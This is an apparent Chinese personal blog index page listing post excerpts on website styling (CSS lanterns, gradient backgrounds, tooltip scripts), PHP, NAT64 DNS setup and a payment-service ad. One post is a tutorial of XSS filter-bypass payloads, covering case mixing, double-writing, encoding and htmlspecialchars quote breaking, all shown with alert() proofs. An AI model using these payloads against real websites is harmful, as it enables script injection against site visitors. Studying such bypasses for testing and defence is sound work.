首页
友情链接
统计
关于本站
Search
1
毛玻璃UI-小菜狗同款个人主页
2,111 阅读
2
PHP 实现图片验证码之给 Typecho 评论加上验证码
1,508 阅读
3
Typechho网站美化技巧
997 阅读
4
Typecho Joe主题如何增加页码分页功能
824 阅读
5
Typecho个性主题模板
698 阅读
网站源码
Typecho
划水日常
wordpress
zblog
网络教程
游戏
登录
/
注册
Search
标签搜索
主题
教程
插件
网站美化
php
pjax
个人主页
发卡网
CSS
wordpress自定义字段
seo
HTML
wordpress函数代码
简洁
统计
当面付
要饭
ipv6
教材
打赏
小菜狗
累计撰写
123
篇文章
累计收到
52
条评论
首页
栏目
网站源码
Typecho
划水日常
wordpress
zblog
网络教程
游戏
页面
友情链接
统计
关于本站
搜索到
15
篇与
的结果
2023-12-08
Swiper实现轮播效果
swiper轮播 无所不能 主要还可以用来实现置顶文章轮播
2023年12月08日
46 阅读
0 评论
0 点赞
2023-07-16
情侣微信小程序基本的设计和功能列表
用户注册和登录:用户可以通过微信授权登录来注册和登录小程序。 创建情侣关系:两个用户可以相互关注并创建一个情侣关系。 私信聊天:情侣之间可以通过私信聊天功能交流,支持文字、图片、语音和表情。 情侣日记:情侣可以共同记录他们的爱情日记,并分享到朋友圈。 情侣相册:情侣可以上传和分享他们的照片到共同相册。 情侣纪念日:小程序会提醒情侣的纪念日和生日,并可以发送祝福消息。 情侣心愿墙:情侣可以写下他们的心愿并贴在墙上,实现共同愿望。 情侣共同账户:情侣可以创建共同账户并设置消费密码,在小程序内进行消费。 隐私保护:小程序会确保用户的隐私和数据安全,支持撤回和清空聊天记录等功能。
2023年07月16日
90 阅读
0 评论
0 点赞
2023-04-22
给网站添加灯笼效果
话不多说直接开始!代码已经做了压缩,放在网站头部 body 下面就好了,至于灯笼的文字自己修改下<style type="text/css"> .ct2 .mn {width:770px;} .ct2 .sd {width:218px;} @media screen and (max-width:768px) {.xnkl {display:none;} } .deng-box {position:fixed;top:-40px;right:150px;z-index:9999;pointer-events:none;} .deng-box1 {position:fixed;top:-30px;right:10px;z-index:9999;pointer-events:none} .deng-box2 {position:fixed;top:-40px;left:150px;z-index:9999;pointer-events:none} .deng-box3 {position:fixed;top:-30px;left:10px;z-index:9999;pointer-events:none} .deng-box1 .deng,.deng-box3 .deng {position:relative;width:120px;height:90px;margin:50px;background:#d8000f;background:rgba(216,0,15,.8);border-radius:50% 50%;-webkit-transform-origin:50% -100px;-webkit-animation:swing 5s infinite ease-in-out;box-shadow:-5px 5px 30px 4px #fc903d} .deng {position:relative;width:120px;height:90px;margin:50px;background:#d8000f;background:rgba(216,0,15,.8);border-radius:50% 50%;-webkit-transform-origin:50% -100px;-webkit-animation:swing 3s infinite ease-in-out;box-shadow:-5px 5px 50px 4px #fa6c00} .deng-a {width:100px;height:90px;background:#d8000f;background:rgba(216,0,15,.1);margin:12px 8px 8px 8px;border-radius:50% 50%;border:2px solid #dc8f03} .deng-b {width:45px;height:90px;background:#d8000f;background:rgba(216,0,15,.1);margin:-4px 8px 8px 26px;border-radius:50% 50%;border:2px solid #dc8f03} .xian {position:absolute;top:-20px;left:60px;width:2px;height:20px;background:#dc8f03} .shui-a {position:relative;width:5px;height:20px;margin:-5px 0 0 59px;-webkit-animation:swing 4s infinite ease-in-out;-webkit-transform-origin:50% -45px;background:orange;border-radius:0 0 5px 5px} .shui-b {position:absolute;top:14px;left:-2px;width:10px;height:10px;background:#dc8f03;border-radius:50%} .shui-c {position:absolute;top:18px;left:-2px;width:10px;height:35px;background:orange;border-radius:0 0 0 5px} .deng:before {position:absolute;top:-7px;left:29px;height:12px;width:60px;content:" ";display:block;z-index:999;border-radius:5px 5px 0 0;border:solid 1px #dc8f03;background:orange;background:linear-gradient(to right,#dc8f03,orange,#dc8f03,orange,#dc8f03)} .deng:after {position:absolute;bottom:-7px;left:10px;height:12px;width:60px;content:" ";display:block;margin-left:20px;border-radius:0 0 5px 5px;border:solid 1px #dc8f03;background:orange;background:linear-gradient(to right,#dc8f03,orange,#dc8f03,orange,#dc8f03)} .deng-t {font-family:黑体,Arial,Lucida Grande,Tahoma,sans-serif;font-size:3.2rem;color:#dc8f03;font-weight:700;line-height:85px;text-align:center} .night .deng-box,.night .deng-box1,.night .deng-t {background:0 0!important} @-moz-keyframes swing {0% {-moz-transform:rotate(-10deg)} 50% {-moz-transform:rotate(10deg)} 100% {-moz-transform:rotate(-10deg)} } @-webkit-keyframes swing {0% {-webkit-transform:rotate(-10deg)} 50% {-webkit-transform:rotate(10deg)} 100% {-webkit-transform:rotate(-10deg)} } </style> <div id="wp"class="wp"><div class="xnkl"><div class="deng-box2"><div class="deng"><div class="xian"></div><div class="deng-a"><div class="deng-b"><div class="deng-t">度</div></div></div><div class="shui shui-a"><div class="shui-c"></div><div class="shui-b"></div></div></div></div><div class="deng-box3"><div class="deng"><div class="xian"></div><div class="deng-a"><div class="deng-b"><div class="deng-t">欢</div></div></div><div class="shui shui-a"><div class="shui-c"></div><div class="shui-b"></div></div></div></div><div class="deng-box1"><div class="deng"><div class="xian"></div><div class="deng-a"><div class="deng-b"><div class="deng-t">春</div></div></div><div class="shui shui-a"><div class="shui-c"></div><div class="shui-b"></div></div></div></div><div class="deng-box"><div class="deng"><div class="xian"></div><div class="deng-a"><div class="deng-b"><div class="deng-t">新</div></div></div><div class="shui shui-a"><div class="shui-c"></div><div class="shui-b"></div></div></div></div></div>
2023年04月22日
122 阅读
0 评论
0 点赞
2023-04-19
php代码前面的@符号有什么作用,@运算符作用说明
@符号在php代码中用于屏蔽/忽略表达式生成的错误提示信息,@运算符只对表达式有效,可以用在变量、常量、函数和 include() 中调用,但不能用在函数或类的定义之前,也不能用在条件结构(如 if 和 foreach 等)。通俗地理解就是:使用@符号后,@符号后面的语句即使有错误,也不会进行错误提示。如果启用了track_errors功能,则表达式生成的错误消息将保存在变量 $ php_errormsg 中,每个错误都会覆盖此变量。代码示例:$getSize = @filesize('../default.jpg');filesize()函数成功成功返回文件大小的字节数,失败则返回 false 并生成一条 E_WARNING 级的错误,在 filesize() 前面使用了@符号后,则不会在页面上出现 E_WARNING 的错误提示。
2023年04月19日
74 阅读
0 评论
0 点赞
2023-04-17
纯IPV6的VPS使用NAT64实现能访问IPV4网络
今天在webhorizon的ipv6主机上安装一些软件,发现访问github的时候是ipv4地址,导致不能下载,最后谷歌了发现一个叫NAT64的东西,通过提供的ipv6 修改nameserver实现ipv6能访问ipv4网络DNS64 解析器是 Web 浏览器和其他程序使用的递归 DNS 服务器,用于将主机名映射到数字地址,反之亦然。DNS64 规范定义了一种方法,服务器用于将在 A 记录中找到的IPv4 地址转换为解析器在 AAAA 记录中提供的 IPv6 地址,否则将没有 AAAA 记录。目前测试可用的服务NAT64地址(trex)2001:67c:2b0::42001:67c:2b0::6使用方法修改 /etc/resolv.conf 添加上面的NAT64地址nameserver 2001:67c:2b0::4 nameserver 2001:67c:2b0::6快速一键设置mv /etc/resolv.conf /etc/resolv.conf.bak && echo -e "nameserver 2001:67c:2b0::4\nnameserver 2001:67c:2b0::6" > /etc/resolv.conf
2023年04月17日
47 阅读
0 评论
0 点赞
2023-04-10
XSS绕过技巧
简介目前,基本上所有的网站都会防止XSS攻击,会过滤XSS恶意代码。所以学会一定的绕过技巧必不可少。详解大小写混合绕过 payload:<sCRipT>alert('喝了两瓶')</sCrIPt> 双写绕过payload:<sc<script>ript>alert('卡姐姐哦')</scr<script>ipt> 注释绕过payload:<sc<!--test-->ript>alert('看见哈桑')</scr<!--tshauie-->ipt> 编码绕过{message type="success" content="思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的。"/}一次编码案例#使用事件属性onerror()的原始payload: <img src=# onerror=alert('yangshuang')"/> #使用HTML_ENTITY编码后的payload: <a src=x onerror="alert('yangshuang')"/> 多次编码案例解析如下编码#原始payload <a herf="javascrips:alert(XSS)"> </a> #使用unicode的UTF-16编码alert这个字符 <a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a> #再用url编码alert的中间结果 <a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a> #最后用html实体编码,再编码整个payload 太长了,略 htmlspecialchars()函数绕过htmlspecialchars()函数是一种常用的PHP函数,用于将特殊字符转换为HTML实体,以防止跨站脚本攻击(XSS)。#该函数的语法: htmlspecialchars(string,flags,character-set,double_encode) #可用的quotestyle类型: ENT_COMPAT - 默认,仅编码双引号 ENT_QUOTES - 编码双引号和单引号 ENT_NOQUOTES - 不编码任何引号 #预定义的字符是: & (和号) 成为 & " (双引号) 成为 " ’ (单引号) 成为 ' < (小于) 成为 < > (大于) 成为 > 过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号# 默认配置下,可使用以下语句绕过: q' onclick='alert(111)' href伪协议绕过当输入的值在 a 标签 herf 里payload:javascript:alert(1111) 直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数js输出绕过当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码<script> $ms=' 11111111'</script><script>alert(1111)</script> ; 标签绕过当输入< script >alert(XSS);</ script >没有反应的时候可以再前边加上< svg >,<svg><script>alert(XSS);</script> 当浏览器解析到< svg >标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。
2023年04月10日
105 阅读
0 评论
0 点赞
2023-03-29
小菜狗免费码支付——三网免挂免输
网站地址小菜狗自营码支付 : zf.mkbk303.cn{message type="info" content="可免费使用,请联系小菜狗!"/}小菜狗码支付优势{message type="success" content="三网免挂免输"/}商户的资金,实时自动查账,资金在平台无任何停留,您的资金安全将得到充分的保障。系统持续更新,功能持续完善,让商户及客户的体验不断接近完美是我们一直不变的追求求。简单的支付接口对接,给您一个体验度极高的商户后台,更好的方便操作对账。转账收款通道破除风控,长期稳定免挂免输通道不掉线。彻底根治码支付源支付掉线问题注册就送500额度使用!
2023年03月29日
100 阅读
2 评论
0 点赞
2023-03-28
title标签输出美化
alt和title提示美化,jquery的特效,记录一次美化美化教程效果图教程也很简单, 创建一个js和一个css 引用到网站即可,这里就不教怎么引用了,很多文章都写过教程第一步 创建一个js文件 把以下内容放进去var sweetTitles = { x: 10, y: 20, tipElements: "a,span,img,div ", noTitle: false, init: function() { var b = this.noTitle; $(this.tipElements).each(function() { $(this).mouseover(function(e) { if (b) { isTitle = true } else { isTitle = $.trim(this.title) != '' } if (isTitle) { this.myTitle = this.title; this.title = ""; var a = "<div class='Xc_title'><div class='tipsy-arrow tipsy-arrow-n'></div><div class='Xc_title_inside'>" + this.myTitle + "</div></div>"; $('body').append(a); $('.Xc_title').css({ "top": (e.pageY + 20) + "px", "left": (e.pageX - 20) + "px" }).show('fast') } }).mouseout(function() { if (this.myTitle != null) { this.title = this.myTitle; $('.Xc_title').remove() } }).mousemove(function(e) { $('.Xc_title').css({ "top": (e.pageY + 20) + "px", "left": (e.pageX - 20) + "px" }) }) }) } }; $(function() { sweetTitles.init() });第二步 创建一个css文件 把以下内容放进去隐藏内容,请前往内页查看详情
2023年03月28日
108 阅读
0 评论
1 点赞
2023-03-28
给网站加一个背景颜色渐变效果
效果图:可以在任意网站使用,这里就以Joe主题做教程方法一: 以下代码加入到全局设置-自定义CSS里即可,180是角度,上下渐变,或者左右渐变自己调body::before { background: linear-gradient(180deg, #fed6e3, #c0efec) ; }方法二: 放在header 或者footer,或者后台的自定义css填写框里<style>body::before { background: linear-gradient(180deg, #fed6e3, #c0efec) ; }</style>
2023年03月28日
54 阅读
0 评论
0 点赞
1
2